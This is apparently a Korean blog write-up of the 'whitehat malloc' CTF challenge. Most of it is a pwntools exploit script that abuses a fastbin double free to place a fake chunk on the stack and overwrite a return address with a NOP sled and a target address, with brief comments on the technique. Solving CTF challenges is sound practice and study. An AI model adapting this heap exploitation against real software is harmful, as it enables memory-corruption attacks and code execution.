constWORLDant

whitehat malloc 본문

0x07 CTF/[스스로 푼 것]

whitehat malloc

data type ConS_tanT 2018.04.14 04:05

help : bin4ry 


from pwn import *

import sys

p = process('./malloc')



target = 0x400986


sys.stdout.flush()

p.recvuntil('Stack Address : ')

stack_addr =  int(p.recvline(), 16)

print stack_addr



print p.recvuntil('> ')

p.sendline("1") #malloc

print p.recvuntil('Enter size :')

p.sendline("31")

print p.recvuntil('Enter data :')

p.sendline("A"*31)


print p.recvuntil('> ')

p.sendline('2') # free

p.sendline('1')


print p.recvuntil('> ')

p.sendline('2') # free

p.sendline('2')




print p.recvuntil('> ')

p.sendline('4') # modify

print p.recvuntil('Which chunk do you want to modify :')

p.sendline('1')

print p.recvuntil('Enter data :')

p.sendline(p64(stack_addr-0x58)) # fake chunk 

-----------------------------------------> main_arena.fastbinsY를 조작 할 수 있다. (free가 한번 되었기에 어느 힙 주소를 가리키고 있는데 이를 스택주소로 바꿔치기) 


print p.recvuntil('> ')

p.sendline('1') # malloc

print p.recvuntil('Enter size :')

p.sendline('31')

print p.recvuntil('Enter data :')

p.sendline('a'*31)


print p.recvuntil('> ')

p.sendline('1')

print p.recvuntil('Enter size :')

p.sendline('50')   # 큰 데이터를 사이즈를 넣어도 Big data라는 표시만 할 뿐 데이터 입력이 가능하다. 놉 스레드 깔고 target으로 향하게 했다 

print p.recvuntil('Enter data :')

p.sendline('\x90'*24+p64(target))

print p.recvline()

print 'finish'



p.interactive()



'0x07 CTF > [스스로 푼 것]' 카테고리의 다른 글

DEFCON CTF Qualifier 2018 ELF Clumber  (0) 2018.05.14
Plaid CTF ropasaurusrex Expliot  (0) 2018.05.02
whitehat malloc  (0) 2018.04.14
swamp return writeup  (0) 2018.04.08
swamp journey writeup  (0) 2018.04.08
sunshine password writeup  (0) 2018.04.08
0 Comments
댓글쓰기 폼